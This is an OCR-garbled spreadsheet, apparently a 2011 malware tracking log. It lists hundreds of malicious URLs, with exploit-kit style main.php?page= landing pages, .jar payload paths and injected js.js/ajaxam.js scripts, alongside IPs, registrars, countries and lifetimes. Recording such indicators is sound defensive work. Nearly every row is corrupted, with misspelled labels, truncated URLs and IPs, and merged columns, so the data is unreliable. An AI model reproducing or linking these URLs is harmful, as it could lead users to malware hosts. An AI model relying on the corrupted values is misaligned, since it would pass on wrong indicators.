95421]htty e.com/ni5v2y/index.html 11/20/2011 13:42 | 11/21/2011 11:42 nalware _|174.120.168.5¢Redirector WILD WEST DOMAINS, INC. Us 22.01] 631
95422|http://pass73.dizinc.com/~rssdevil/ 7dzqmxg; html 11/20/2011 13:10 | 11/20/2011 13:55 malware _ 72.29.71.155 _Redirector NOM, INC. S 0.75 2
[[95423|http [[sl\verstatebudget com/koajSh/index.html 11/20/2011 13:20 | 11/26/2011 10:12 nalware _ $7.74.215.116 Redirector oDaddy.com, Inc. S 40.87 3
95424 ]htty com/Bzt1xr/index.html 11/20/2011 13: 11/22/2011 3:32 falware _|184.107.191.5(Redirector [ENOM, INC. HU 38.3] 634
95425|hty fundacluncreser.ccm vb8illo, html 11/20/2011 13: 11/22/2011 3:32 falware 200.58.111.41 Redirector ATTATEC.COM AR 38.05
95426 |http://matrixspace.in/znpp25/index.html 11/20/2011 13:23 | 11/25/2011 15:21 falware | 74.36.228.38 Redirector ediff.com India Limited (R37-AFIN) 1] 121.97
95427 |http://mayami.com/icsazf/index.html 11/20/2011 13: 11/21/2011 8:12 talware _|184.154.234. 1¢Redirector GoDaddy.com, Inc. PA 18.53
95428|http://kuczka.eu/yvvg3i8/index.html 11/20/2011 13: 11/21/2011 8:38 falware _82.165.58.218 Redirector chlund+Partner AG DE 18.95 | 635
95429 |http://sil com/f24jug, htm! 11/20/2011 13:49 | 11/26/2011 10:12 alware _ $7.74.215.116 Redirector oDaddy.com, Inc. S 40.38
95455 |http://autodc. fr/q50c8wa/index.html 11/20/2011 22:56 | 11/26/201110:13 malware 13.186 edirector VH AR 31.29 | 636
95461|http://martiniracing.com.au/j034dcu/index.html 11/20/2011 23:25 | 11/26/2011 10:13 alware _03.88.117.57 Redirector netica Au 130.8
95462|http://best: com/26gthrx/index.html 11/20/2011 23: 11/22/2011 9:48 Mmalware _|184.107.191.5(Redirector [ENOM, INC. HU 34.08
[[95469]|http [[saxwkscgz freetcp.com/content/q43kb6i34kbla6ih34kb6i3KI4. jar 11/21/2011 3:13 | 11/21/2011 18:23 Mmalware _|193.106.174.2{Hijacked Website _|NETWORK SOLUTIONS, LLC. RU 15.17
95470]htty com/content/q43kb6i34kbla6ih34kb6i3ki4.jar 11/21/2011 3: 11/22/2011 9:59 nalware _|193.106.174.21Dedicated Web Hosti[MONIKER RU 30.68
o5a71]nttp: /i, Espaco newlife.com/is.is 11/21/2011 4:22 | 11/22/2011 14:06 malware 102.29.18 Redirector K2 GROUP LTD. AT 33.73 | 637
95473 |http://www.semmery.dk/js.is 11/21/20114:29 | 11/22/2011 11:22 falware _|193.202.110.1 ector DK H AJS DK 30.87] 638
95480|http://neoprenhopper.com/main.php?page=8dfi74a. dra?ﬁ 3e 11/21/20117:32 | 11/21/2011 15:19 malware |193.106.174.2]Redirector DIRECTNIC, LTD RU 7.78
95509|http://quivercove.com/main.php?page=c1db10 11/21/2011 12:22| 11/21/2011 18:25 Malware _|193.106.174.2]Dedicated Web Hostil THE REGISTRY AT INFO AVENUE D/B/A IA REGISTRY RU 6.05] 639
95551]http://neoprenhopper.com/content, 943kb5]34kb\q§[h34kb6]3k\4 jar 11/22/2011 5: 11/22/2011 7:12 Malware _|193.106.174.2]Dedicated Web Hosti[DIRECTNIC, LTD RU 1.29
95553 http://www. mir r.com/is.is 11/22/2011 10:39 | 11/22/2011 13:12 falware _|64.120.209.17]Redirector Cell Dara Solutions, LLC s 2.55| 640
95555 hty ena.com/js.is 11/22/201110:52 | 11/22/2011 12:24 alware _62.233.121.75 Redirector NTERNETTERS LTD. K 1.54 | 64
95556 |htt, com.au/js.is 11/22/2011 13:26 | 11/28/2011 13:40 malware _ 74.52.155.22 _Redirector lanetDomain s 24.24 | 64
95566 |http://neoprenpillar.com/content/q43kb6i34kblq6ih34kb6i3ki4.jar 12/1/2011 6: 12/1/2011 11:55 Mmalware _|193.106.174.21Dedicated Web Hostil 101DOMAIN, INC. RU 5.24] 72
95567 |http://decalintos.com/content/q43kb6i34kbla6ih34kb6i3kl4.jar 11/22/2011 17:03 | 11/22/2011 17:29 nalware _|193.106.174.2]Dedicated Web HostilNETWORK SOLUTIONS, LLC. RU 0.44] 64
95572 |http://193.106.174.219/content/q43kb6]34kblq6ih34kb6i3kI4. jar 11/22/2011 8: 11/22/2011 8:39 Malware _|193.106.174.21Dedicated Web HostilIP_ADDR RU 0.65
95577 |http://r net/is.is 11/22/20119: 11/28/2011 3:07 falware |63.135.126.17¢Redirector INETWORK SOLUTIONS, LLC. Us 137.17 | 644
95579]htty tsdirectory.com/is.is 11/22/2011 10:00 | 11/22/2011 12:55 nalware _|174. 132.77,183Red\rectur DIRECTI INTERNET SOLUTIONS Us 2.91] 645
95582 |http://www.nomessi.com/js.is 11/22/2011 10:03 | 11/28/2011 13:58 falware _ 72.167.232.82 Redirector oDaddy.com, Inc. Us 47.93 | 646
95584 |http://Ipsbrasov.ro/js.is 11/22/2011 10:06 | 11/22/2011 12:22 falware 113.25.2  Redirector omarg SRL HO 2.26 | 647
95597 |http://adunit om/search.is 11/22/2011 15:39 | 11/26/2011 13:43 malware _ 67.201.36.19 _Redirector oDaddy.com, Inc. S 94.07 | 648
95598 |http://stalfach.pl/is/is.is 11/22/2011 14:23 | 11/23/2011 13:56 falware _ 79.96.20.139 _Redirector ome.pl sp.i. G 23.54 | 649
95599 |http://www.solar re.co.uk/is.is 11/22/201117: 11/28/2011 3:09 Malware _ #6.252.201.1 Redirector Key-Systems GmbH L 30.09 | 650
95600]http:, co.uk/is.is 11/22/2011 16:13 | 11/28/2011 13:56 malware _|188.121.55.12¢Redirector PublicD ry.Com L 141.71] 651
95602|http://r: 0.cc/is is 11/22/2011 16:23 | 11/24/2011 18:38 falware _ 10.10.10.10 _Redirector ESNIC CO. LTD. Us 50.24 | 652
95605]http://www.gettingpregnantips.com/js.is 11/22/2011 16: 11/23/2011 5:06 falware 69.65.43.152 Redirector LOBEHOSTING EUROPE S 12.61 | 653
95614 |http://myescortsdirectory.com/is.is 11/27/2011 1: 11/28/2011 9:27 falware _|174.132.77.187Redirector |GLOBAL HOST CENTER Us 31.76 | 654
95623 http://www.theinternationaltravel.info/js.is 12/2/2011 20: 12/3/2011 9:53 falware _|204.197.244.1]Redirector GoDaddy.com Inc. (R171-LRMS) Us 13.62| X__http://quivercove.com/main.php?page=8df174a3dc62673e
95629 |http://st com/is.is 11/27/2011 2:14 | 11/27/2011 11:00 malware _|67.227.189.124Redirector 3WDIRECT s 8.77| 655
95680|http://173.213.112.11/content/q43kb6134kblq6ih34kb6i3ki4.jar 11/23/2011 6:43 | 11/24/2011 20:18 malware [173.213.112.1]Dedicated Web HostilIP_ADDR us 37.58] 656
95681 |http://westarray.com/main.php?page=80322bdc64eelacc 11/23/2011 6:58 | 11/24/2011 17:13 Malware _|173.213.112.1]Dedicated Web Hosti[MONIKER us 34.26
95761 |http://telemonors.com/main.php?page=7928535f9ea8b197 11/24/2011 2:03 | 11/24/2011 17:41 alware _|173.248.190.1Dedicated Web Hosti| 1 & 1 INTERNET AG us 15.63| 657
95768|http://173.248.190.126/content/q43kb6134kblq6ih34kb6j3kI4.jar 11/24/2011 3:31 11/24/2011 19:50 malware _[173.248.190.13Dedicated Web HostilIP_ADDR us 16.32
95772|http://188.247.232.23/content/q43kb6i34kblq6ih34kb6i3ki4.jar 11/24/2011 3:55 | 11/27/2011 12:02 malware _|188.247.232.23Dedicated Web HostilIP_ADDR 5K 80.12
95773 http://pi ap main.php?pene=biZ3ee3176247430 11/24/2011 3:54 | 11/24/2011 10:40 Malware _|188.247.232.21Free Web Hosting _|ChangelIP.com K 6.77| 658
95858|http://fatonavdiu.com, 11/25/2011 2:13 | 11/28/2011 14:00 fnalware _|173.201.216.73Redirector GoDaddy.com, Inc. s 83.79 | 659
95859 |http://www e.co.nz, i 11/25/2011 2: 11/28/2011 3:11 falware 202.191.34.89 Redirector ISERVE z 72.89 | 660
95860|http://clubtaurinogracurris.es/ajaxam.is 11/25/2011 3:16 | 11/25/2011 15:28 malware _|213.194.159.5¢Redirector F{ve Es 12.2] 661
95863 |http://dedurizarea-apei.eu, i 11/25/2011 2: 11/28/2011 9:40 falware 89.42.216.144 Redirector omarg Srl RO 78.85 | 662
95866 |http://cam0815.ca.ohost.de/ajaxam.is 11/25/2011 2:58 | 11/25/2011 11:15 alware |213.202.225 4%5edwrectur [UNITED COLO GmbH DE 8.27 | 663
95872|http://www elearn.com, i 11/25/2011 4:05 | 11/27/2011 18:39 malware _75.127.68.66 _Redirector ONLINENIC, INC. S 62.56 | 664
95873 |http://creative-arts.ch/ajaxam.i 11/25/2011 11/25/2011 15:10 malware |195.182.222.74Redirector |5u5As—NET <] 10.95] 665
95874|http://casimir.dolinski.be/ajaxam.s 11/25/2011 11/28/2011 14:01|malware |178.77.66.252 [Redirector Gandi Sas DE 81.67] 666
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95877 inverl.de i 11/25/2011 4:27 | 11/25/2011 10:24 nalware _ 188.93.15.144 Redirector igidesk - media solutions 0E 5.95 | 667
95878 noelg.host2 ajaxam.is 11/25/2011 4:34 | 11/25/2011 15:28 fnalware |208.43.151.204Redirector GoDaddy.com, Inc. s 10.89 | 668
95883 masstluc.com/js. js 11/25/2011 4:44 | 11/25/2011 11:09 malware 13.186.33.19 Redirector VH R 6.42 | 669
95884 69.163.37.233/content/g43kb6j34kblq6ih34kb6i3kI4.jar 11/25/2011 5:11 | 11/25/2011 23:00 alware  69.163.37.233 |Dedicated Web HostilIP_ADDR us 17.82] 670
95885 http://Qualitysoftpro.com/is.is 11/25/2011 4:48 | 11/25/2011 15:04 falware  0.84.139.130 Redirector. ILD WEST DOMAINS, INC. S 10.25 | 671
95886 afedowr hopto.org/main.php?page=2cef279c7a3c10d2 11/25/2011 5:13 | 11/25/2011 22:45 falware  $9.163.37.233 free Web Hosting _Vitalwerks Internet Solutions, LLC (R1731-LROR) S 17.54
95887 quality.cyfuture.com/js.js 11/25/2011 4:55 | 11/25/2011 14:45 falware |111.118.182.1(Redirector’ [ENOM, INC. N 9.84] 672
95889 terstata.instanthg.com/main.php?page=3a23d8870733555a 11/25/2011 5:18 | 11/25/2011 10:55 fnalware  |188.247.232.2]Free Web Hosting |[NETWORK SOLUTIONS, LLC. BK 5.61
95890 art-all-in.nl/ajaxam.is 11/25/2011 5:00 | 11/25/2011 10:37 falware edirector L-EATSERVER-WEBHOSTING L 5.61 | 673
95892 24onlinedrug.com/js.js 11/25/2011 5:09 [ 11/27/2011 14:06 alware edirector IRECTNIC, LTD us 56.95 | 674
95894 T om/js.is 11/25/2011 5:14 | 11/25/2011 10:45 alware  |174.120.61.16: ector INTERNET.BS CORP. s 5.52
95895 |http://webuyyourl com/js.is 11/25/2011 5:19 | 11/28/2011 14:02 fnalware  2.167.232.32 Redirector. oDaddy.com, Inc. us 80.71 | 675
95896 nat org/is.is 11/25/2011 5:24 | 11/28/2011 13:44 falware  [173.201.140.1 ectol GoDaddy.com, Inc. (R91-LROR) s 80.34| 676
95897 ro/ajaxam.js 11/25/2011 5:30 | 11/28/2011 3:20 fnalware $9.42.216.146 Redirector omarg SRL ) 69.84 | 677
95898 www mihost.biz/ajaxam. js 11/25/2011 5:48 | 11/25/2011 15:27 fnalware  |213.162.201.7]Redirector’ [ARSYS INTERNET SL DBA NICLINE.COM Es 9.65| 678
95899 ‘ambrogiorobot.ro/ajaxam.js 11/25/2011 5:36 | 11/26/2011 8:55 falware F,az,zm 144 Redirector lettissimo Rom SR Ao 27.32
95901 gossipgirls. o, i 11/25/2011 5:43 | 11/26/2011 5:40 fnalware  $1.200.121.40 Redirector’ OSTVISION SRL Ao 23.94 | 679
95902 ajanskurumsal.c 11/25/2011 5:53 | 11/28/2011 14:04 fnalware  $5.15 edirector ICS TELEKOMUNIKASYON TICARET LTD.STL. TR 80.18 | 680
95908 lastking.biz/main. Dho’uage—mh??qdqa 533da0 11/25/2011 6:26 | 11/25/2011 12:02 nalware  §9.16 Dedicated Web Hosti{INTERNET.BS CORP. us 5.59
95912 ‘www.apbauto.h 11/25/2011 7:25 | 11/25/2011 10:31 fnalware  }8.24.185.77 Redirector’ IC HU HU 3.1 | 681
95913 argir i 11/25/2011 7:30 | 11/26/2011 16:47 fnalware $6.147.242.85 Redirector’ Inc. (R397-LRMS) S 33.27 | 682
95915/http://boatsforsalee.com i 11/25/2011 7:36 | 11/25/2011 10:29 fnalware  0.87.76.175 Redirector’ ust Domains Us 2.89 | 683
95916 bennet om. is 11/25/2011 7:40 | 11/28/2011 13:46 fnalware  [173.201.141.1 ector GoDaddy.com, Inc. us 78.11
95921 lookitup.webatu.com/ajaxam.js 11/25/2011 8:27 | 11/25/2011 15:28 fnalware  $1.170.161.76 Redirector oDaddy.com, Inc. S 7.01 | 684
95922 cirangel.net78.net/ajaxam. j 11/25/2011 8:33 | 11/25/2011 10:16 falware  |31.170.162.10 ectol GoDaddy.com, Inc. s 1.73| 685
95923 ‘4atmoda.lv/ajaxam.js 11/25/2011 8:38 | 11/26/2011 13:34 fnalware  $5.17.238.13 Redirector. eturta atmoda L 28.93 | 686
95970 ‘ohmyraw.com/js.js 11 25 2011 19:14| 11/26/2011 5:41 fnalware [174. 127 119 4(Redirector GoDaddy.com, Inc. s 10.45| 687
96001 ‘adventurehorde.com/main.php?page=16b239d9a7533da0 1/28/2011 3:56 | 11/29/2011 12:05 malware  $5.12 Dedicated Web HostilD .com RO 32.14
96003 miespacio.ucol. mx/~oscarurbina/dc1gcgb/index.html 11 26/2011 6:30 | 11/26/2011 10:17 Malware |4 1 1 14 Redirector NIC Mexico X 3.79 | 688
96043 mysalwarl com/s.js 11/27/2011 1:46 | 11/27/2011 9:19 falware  |204.197.244.1]Redirector’ GoDaddy.com, Inc. s 7.55| 689
96044] napieriarjournals.com/is. s 11/27/2011 1:51 | 11/27/2011 23:22 fnalware  $4.37.52.119 Redirector. TRECTT INTERNET SOLUTIONS S 21.52 | 690
96045/http://ndo.mx/js.is 11/27/2011 1:56 | 11/27/2011 21:00 fnalware |174.121.198.14Redirector INEUBOX Internet SA de CV s 19.06 | 691
96081 85.121.39.32/content/q43kb6j34kblq6ih34kb6i3kI4. jar 11/28/2011 3:52 | 11/30/2011 6:38 fnalware  $5.121.39.32 |Dedicated Web Hosti{IP_ADDR RO 50.76 | 692
96116 adventurerocks.net/main.php?page=1123fe311070f0db 11/28/2011 9:03 | 11/29/2011 12:20 fnalware  $5.121.39 Dedicated Web Hosti[NAMESECURE.COM RO 27.29] 693
96117 85.121.39.33/content/q43kb634kbla6ih34kb6i3kI4. jar 11/28/2011 9:13 | 11/30/2011 6:37 Malware  $5.121.39 Dedicated Web HostilIP_ADDR RO 45.39
96156 man1 sari.sch.id/js.is 11/28/2011 20:57 | 11/29/2011 9:10 fnalware [174.123.117.1¢Redirector n/a D 12.21] 694 |http://neopr main.php?page= 1de32e77952227cd
96158 ‘www.cnyct com/ajaxam.js 11/28/2011 21:12 [ 12/1/2011 18:31 fnalware [207.210.85.194Redirector ONLINENIC, INC. us http://adventureship.net/main.php? 1070f0db
96161 www. i.net i 11/28/201121:26 | 12/6/2011 6:13 fnalware  $5.9.26.21 edirector TRECTT INTERNET SOLUTIONS PVT. LTD. A0 http://adventureship.net/main 48cae956
9616! c i 11/28/2011 22:58 | 11/30/2011 18:53 nalware  68.180.151.96 Redirector ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US http://adventureship.net/main 48cae956
96170 . i 11/28/2011 23:09 | 12/19/2011 4:54 fnalware  $9.19.30.10 _ Redirector %lCS TELEKOMUNIKASYON TICARET LTD.STL. TR http://adventureship.net/main 48cae956
96171 bolte.n}, i 11/28/2011 23:13 [ 11/29/2011 8:50 fnalware  }95.20.9.53  Redirector ww.eatserver.nl L http://adventureship.net/main 48cae956
96172 i 11/28/2011 23:22 | 11/29/2011 15:49 fnalware  |88.165.93.5 Redirector RSYS INTERNET, S.L. D/B/A NICLINE.COM 3 http://adventureship.net/main 11070f0db
96173 errorsuz. com/ajaxam. s 11/28/2011 23:31 [ 12/2/2011 23:11 fnalware  |66.147.240.16 ector FASTDOMAIN, INC. s . http://adventureship.net/main 11070f0db
96174] gor 11/28/2011 23:37 | 12/8/2011 15:28 fnalware  19.96.152.57 Redirector jome.pl sp.j. AL 231.85 | 702 |http://adventureship.net/main 11070f0db
96184 50.116.32.139/content, g43kb6]34kblq61h34kb5]3kl4 jar 11/29/2011 3:30 | 11/29/2011 3:42 fnalware  50.116.32.139 |Dedicated Web Hosti{IP_ADDR us' 0.21
96185/http://adventur .com/main.php?page=1123fe311070f0db 11/29/2011 3:28 | 11/29/2011 3:44 falware EJ 116.32.139 |Dedicated Web Hostil MONIKER us 0.27] 703
9619 partnerrid.ikwb.com/main.php?page=b123ee3176247430 11/29/2011 7:49 | 11/29/2011 9:40 fnalware |188.247.232.2]Dedicated Web HostilChangeIP.com IsK 1.85] 704
96199 adventurefinder.org/main.php?page=cfbe69b1240228f3 11/29/2011 6:59 | 11/29/2011 7:37 fnalware E 116.32.242 |Dedicated Web Hosti[0101 Internet, Inc. (R1360-LROR) lus 0.62
96200 50.116.32.242/content/g43kb6i34kblq6ih34kb6j3kI4. jar 11/29/2011 6:42 | 11/29/2011 6:48 Malware  50.116.32.242 |Dedicated Web HostilIP_ADDR us 0.1] 705
96203 ‘getmybit main.php?page=01a64bf41125d37a 11/29/2011 7:45 | 11/29/2011 12:22 malware |174.140.166.1%Dedicated Web Hostilno-ip.com us 4.61] 706
96207 174.140.166.159/content/g43kb6i34kblq6jh34kb6i3kI4. jar 11/29/2011 8:01 | 11/30/2011 6:40 Malware |174.140.166.1%Dedicate HostilIP_ADDR us 22.64
96375 http://aquasrc.com/main.php?page%C2%8Df174a3dc62673¢ 11/30/2011 10:30 | 12/1/2011 2:41 fnalware [193.106.174.23Hijacked Website  [0101 INTERNET, INC. RU 16.17 | 707
96377 main.php?page%C205717c42f48ed5 11/30/2011 10:28 [ 12/1/2011 3:20 fnalware [174.140.167.14Hijacked Website  [0101 INTERNET, INC. s 16.85| 708
96378 ‘caronivarium.com/main.php?paged078c3dc54bfaga 11/30/20119:49 | 12/1/2011 3:14 falware  |174.140.166.14Hijacked Website |MONIKER Us 17.41] 709
96427 com i 11/30/2011 13:18 | 11/30/2011 23:48 fnalware  70.87.76.190 Redirector IetRegistry S 105 | 710
96431 cadouri-aniversari.ro/ajaxam.j 11/30/2011 13:27 | 12/1/2011 7:14 fnalware  $12.146.85.90 Redirector uroDomenii HO 17.79 | 711
96433 i 11/30/2011 13:36 | 12/2/2011 18:35 fnalware  $8.86.100.176 Redirector REG-IGNUM z 52.97 | 712
96435 http://drpankaj.com/ajaxam.js 11/30/2011 13:41 | 11/30/2011 14:00 fnalware [174.120.82.21¢Redirector DYNADOT, LLC s 031] 7
96436 ‘ecashloans.com.au/ajaxam. 11/30/2011 13:46 | 11/30/2011 14:02 falware  70.87.76.162 Redirector IetRegistry Us 0.27 | 714
96437 er.nl/ajaxam. js 11/30/2011 13:50 | 12/10/2011 5:10 fnalware  |94.50.163.84 Redirector 12 Hosting & D L 231.32 [ 7
96442 felix.p-gaspar.com, i 11/30/2011 14:25 [ 12/2/2011 17:57 nalware  74.54.143.215 Redirector oDaddy.com, Inc. S 51.54 | 716
96444] ftp.dvua.nl/ajaxam.js 11/30/2011 14:38 [ 11/30/2011 17:43 fnalware  §7.94.248.249 Redirector EVIDA Services BV L 3.00 [ 7
96451 www. ajaxam.is 11/30/2011 14:59 | 11/30/2011 22:30 fnalware  74.53.239.242 Redirector oDaddy.com, Inc. S 7.52 | 718
96455/http://www.x-descargas.com/images/js. s 11/30/2011 15:08 | 11/30/2011 17:41 fnalware  |84.107.70.91 Redirector DIRECTI INTERNET SOLUTIONS PVT. LTD. AE 2.55 | 719
96472 ‘gordongr ion.com/ajaxam. js 11/30/2011 15:18 | 12/6/2011 6:30 alware  16.74.253.50 Redirector NETWORK SOLUTIONS, LLC. S 135.2 | 720 |http://caronivarium.com/main.php?page=64078c3dc54bfaga
96479 hor: com i 11/30/2011 15:23 [ 11/30/2011 20:47 fnalware  }0.87.76.162 Redirector letRegistry S 5.4 hetp://caronivarium.com/main.php?page=64078c3dc54bfaga
96480 ‘www.arteferrosnc. it is.is 11/30/2011 15:29 | 11/30/2011 16:32 falware 95.216.111 Redirector S.rl. il 1.06 | 721 [N/Asite is dead
96519 ‘appstec-me.com/b7fbdc html 11/30/2011 17:04 | 12/4/2011 17:33 fnalware  74.54.137.213 Redirector OST RIVERS INFOTECH S 96.49 | 722 |http://irs-count.com/main.php?page=47762d4a35643cd0
96597 ‘www. herstyle.de/ajaxam. Is 12/1/20113:25[  12/1/2011 7:23 fnalware  $5.13.141.36 _Redirector NTERNETWIRE COMMUNICATIONS GMBH OE 3.96 | 723 |http://irs-charge.com/main.php?page:
96598 ‘www.idsi-pa.com 12/1/2011 3:29 | 12/4/2011 5:49 fnalware |67.225.195.15¢Redirector [ENOM, INC. s 74.34 | 724 |vhttp://irs-charge.com/main.php?page:
96601 insurancepublicliabilit .net ajaxam.js 12/1/2011 3:50 | 12/1/2011 11:34 fnalware 0.87.76.190 Redirector AUST DOMAINS INTERNATIONAL PTY LTD DBA AUST DOMAINUS 7.74] 725 |http://irs-charge.com/main.php?page=72b7e52e4c26ead8
96633 96.126.101.14/content/q43kb6]34kblq6ih34kb6i3KI4. jar 12/1/2011 5:46 | 12/1/2011 5:56 malware _6.126.101.14 |Dedicated Web HostilIP_ADDR us' 0.16 726
96637 193.106.174.224/content/g43kb6i34kblq6jh34kb6]3kl4. jar 12/1/2011 6:04 | 12/1/2011 6:44 Malware |193.106.174.23Dedicated Web HostilIP_ADDR RU 0.67] 7:
96685 |http://174.140.166.146/content/g43kb6i34kblq6jh34kb6]3kI4. jar 12/1/20118:54 |  12/2/2011 1:42 fnalware  |174.140.166.14Dedicated Web HostilIP_ADDR us 16.8] 729
96687 om/main.php?paged078c3dc54bfaga 12/1/20119:25[  12/1/2011 9:26 fnalware  |193.106.174.23Dedicated Web Hostilspiritdomains.com RU 0.01] 730
96690 193.106.174.223/content/g43kb6i34kblq6jh34kb6]3ki4. jar 12/1/2011 9:35|  12/2/2011 2:55 Malware |193.106.174.23Dedicated Web Hosti[NAMESECURE.COM RU 17.34
96783 ra/ajaxam.j 12/1/2011 17:39 | 12/12/2011 6:38 fnalware  $0.172.225.28 Redirector’ etEarth One Inc. d/b/a NetEarth (R1902-LROR) AT bs52.98 [ 735 [N/A
96784 oltys.tym.cz/ajaxam.js 12/1/2011 17:18 | 12/5/2011 17:42 fnalware  $8.86.100.176 Redirector’ EG-IGNUM z 96.41 | 732 |http://adventurefinder.org/main.php?page=aSe3f8893a28e21
96791 'w3.9thsphere.com, i 12/1/2011 17:27 | 12/3/2011 12:55 falware |174.121.195.1]Redirector’ [Tucows, INC. s 43.47 | 734 |http://adventurefinder.ora/main.php?page=2cd37516bfc47eba
96794 . i 12/1/2011 17:38 | 12/5/2011 17:37 fnalware  $2.194.73.157 Redirector. OSTINET S 95.98 | 731 |N/A
96795 ‘www.webseo.com.au/ajaxam.is 12/1/2011 17:32 | 12/1/2011 21:09 fnalware  0.87.76.162 Redirector, IetRegistry Us 3.61 | 733 |http: adventurefmder org/main.php?page=2cd37516bfc47eba
96800 ‘Www. mir r.com/images/js.is 12/1/2011 17:41 [ 12/4/2011 4:34 fnalware |64.120.209.17]Redirector’ Cell Dara Solutions, LLC s 58.88 | 736 |http: main.php?page=1de32e77952227cd
96801 http://allmemoryram.com/is.is 12/1/2011 17:57 | 12/2/2011 18:37 fnalware  §82.50.150.93 Redirector. oDaddy.com, Inc. SG 24.67 | 738 |N/A
96805/ htty q.net/ajaxam.js 12/1/2011 18:54 | 12/2/2011 17:55 falware  |67.220.217.234Redirector’ ENOM, INC. s 23.03 [ 741 [http://billydragonfly.com/main.php?page=abfd0d069b45c17e
96806 kurl \lajat. fi/ajaxam. i 12/1/2011 18:39 | 12/2/2011 19:12 fnalware  §7.240.19.4 _ Redirector urts.net FI 24.56 | 739 |http://adventurefinder.org/main.php?page=abfd0d069b45c17e
96810 oyveh.org.uk j 12/1/2011 18:49 | 12/1/2011 19:25 fnalware  $4.92.125.19 Redirector, Webfusion Ltd t/a 123-reg S 0.61 | 737 |http://adventurefinder.org/main.php?page=a5e3f8893a28e21
96811 mynettube.net, 12/3/2011 22:39 | 12/4/2011 5:57 falware  $0.93. 220 19 Redirector NICS TELEKOMUNIKASYON TICARET LTD.STI. TR 7.31 | 746
96826 ‘ecommerce.nuvention- dev ora/76f4b3/index.html 12/1/2011 21:05 | 12/1/2011 23:19 falware Hijacked Website _|FastDomain Inc. (R1455-LROR) us 2.24] 742 [n/a
96831 T pochta.ru/ijomerem.html 12/1/2011 21:03 | 12/2/2011 1:56 falware ijacked Website ENTROHOST AU 4.88 | 740 |http://phlevelinmyblood.net/main.php? 7af071c4
96832 ‘appstec-me.com/5355da/index. html 12/1/2011 21:05 | 12/4/2011 15:40 alware  74.54.137.213 Redirector QUARE BROTHERS INFORMATION TECHNOLOGIES PVT LTD US 66.58 | 744 |http: imes.com/main.php?page=43842ba0d45a9da3
96834 arnaudwalravens.be/e71476/index.html 12/1/2011 22:23 [ 12/5/2011 5:05 nalware  p13.186. edirector H AR 78.7 | 745 |http: imes.com/main.php?page=43842ba0d45ad9da3
96835]http://anis.co.in/c4fbab, html 12/1/2011 21:05 | 12/2/2011 18:15 falware  4.50.98.34 _ Redirector TRECTT INTERNET SOLUTIONS PVT. LTD. S 21.16 | 743 |http: imes.com/main.php?page=43842ba0d45ad9da3
96838 |http://cna.gettech.com.pk, QaDSeb index.html 12/1/2011 22:26 | 12/4/2011 6:10 alware  $6.63.181.102 Redirector KNIC S 55.74 | 747 |http: imes.com/main.php?page=43842ba0d45a9da3
97001/http://goodride.hy, 12/2/2011 14:39 | 12/5/2011 9:33 fnalware  ¥8.24.185.77 Redirector NAS Online Kft. HU 66.9 | 748 |N/A
97003 |http://philstrobi.bplaced net ajaxam.js 12/2/2011 14:42 | 12/3/2011 9:18 falware  }76.9.52.230 Redirector PS-DATENSYSTEME GMBH OE 18.6 | 749 |http://twistple; main.php?page=abfd0d069b45c17e
97010]http://chattl pytalhost.c 12/2/2011 14:53 | 12/2/2011 18:00 alware  $4.125.71.79 Redirector NITED-DOMAINS AG OE 3.12 | 750 |N/A
97081http://twistplex.com/main.php?page= 111d937ec38dd17e 12/3/2011 10:09 | 12/3/2011 14:53 falware [173.248.190.2(Hijacked Website |LIME LABS, LLC s 4.73| 751
97082]http:, imes.com/main page=43842ba0d45a9da3 12/3/2011 10:11 | 12/3/2011 10:57 fnalware  $8.139.135 77Jii_uacked Website  MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 0.78 | 752
97132]http://cost ro/ajaxam.j 12/3/2011 22:24 | 12/4/2011 17:35 falware %9,42,394160 edirector CI - ROTLD ) 19.18 | 753
97150]http://billydogt main.php’ 0d069b45c17e 12/4/2011 2:05 | 12/6/2011 14:17 Malware |173.255.255.6€Dedicated Web HostilMONIKER us 60.19| 754
97196/http://twistloft.com/main.php?page=abfd0d069b45c17e 12/5/2011 4:39 | 12/6/2011 14:18 falware ?5,254,53‘228 Dedicated Web Hostil INTERNET.BS CORP. us 33.66| 755
97215http://77.79.7.136/content/q43kb6i34kbla6ih34kb6i3kI4. jar 12/5/2011 11:19 | 12/5/2011 11:32 fnalware  §7.79.7.136 _Redirector P_ADDR ur 0.2 | 756
97216/http://journalmy.in/main.php?page=7efdb7ed32252ba5 12/5/2011 10:44 | 12/5/2011 12:29 falware  9.137.237.63 |Dedicated Web HostiDirecti Web Services Pvt. Ltd. (R118-AFIN) RU 1.76] 757
97217 65.254.63.228/content/g43kb6j34kblq6ih34kb6i3kI4.jar 12/5/201111:21 | 12/6/2011 6:35 Malware  65.254.63.228 |Dedicated Web HostilIP_ADDR us 19.25
9721 zazazar.in/main.php?page=abfd0d069b4Sc17e 12/5/2011 10:18 | 12/6/2011 6:18 falware  |173.255.201.2; ctol Directi Web Services Pvt. Ltd. (R118-AFIN) bs 19.99 | 758 |[http: imes.com/main.php?page=43842ba0d45a9da3
97219 173.255.201.22/content/q43kb6i34kblq6jh34kb6]3kI4. jar 12/5/201111:22 | 12/6/2011 6:39 Malware |173.255.201.2JDedicated Web HostilIP_ADDR us 19.28
97293 ‘dohturboob. main.php?page=64078c3dc54bfasa 12/6/2011 5:29 | 12/7/2011 12:10 fnalware  |193.106.174.2JDedicated Web Hosti|DIRECTNIC, LTD RU 30.69| 759
97303 boy.in/main, 69b45c17e 12/6/2011 6:31 | 12/6/2011 11:38 alware 9.137.237.63 |Dedicated Web HostilDirecti Web Services Pvt. Ltd. (R118-AFIN) RU 5.11] 760
97307 79.137.237.63 :0 12/8/2011 7:36 tmalware ¥9.137.237.63 |Dedicated Web HostilIP_ADDR RU 48.59
9730 garik-m.in/main.php’ 0d069b45c17e 12/6/2011 8:13 malware |174.140.165.14Dedicated Web Hosti[Directi Web Services Pt. Ltd. (R118-AFIN) jus 0.92] 761 |http: imes.com/main.php?page=43842ba0d45a9da3
97309 174.140.165.143/ content/g43kb6i34kblg6jh34kb6j3ki4. jar 12/6/2011 14:04|malware |174.140.165.14Dedicated Web HostilIP_ADDR us 6.46
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97313|http://billycharge.com/main. DhD7DagE b3408bf080473cf 12/6/2011 9:48 12/8/2011 3:14 malware 9.137.237.63 lﬂjacked Website Anweb. RU 41.44
97345 | htty ‘clubedevideo.com, 12/6/2011 16:54 | 12/19/2011 17:51 malware 2.102.24.12 Redirector oDaddy.com, Inc. AT 12.96 762 |http://billycharge.com/main.php?page=64078c3dc54bfa8a
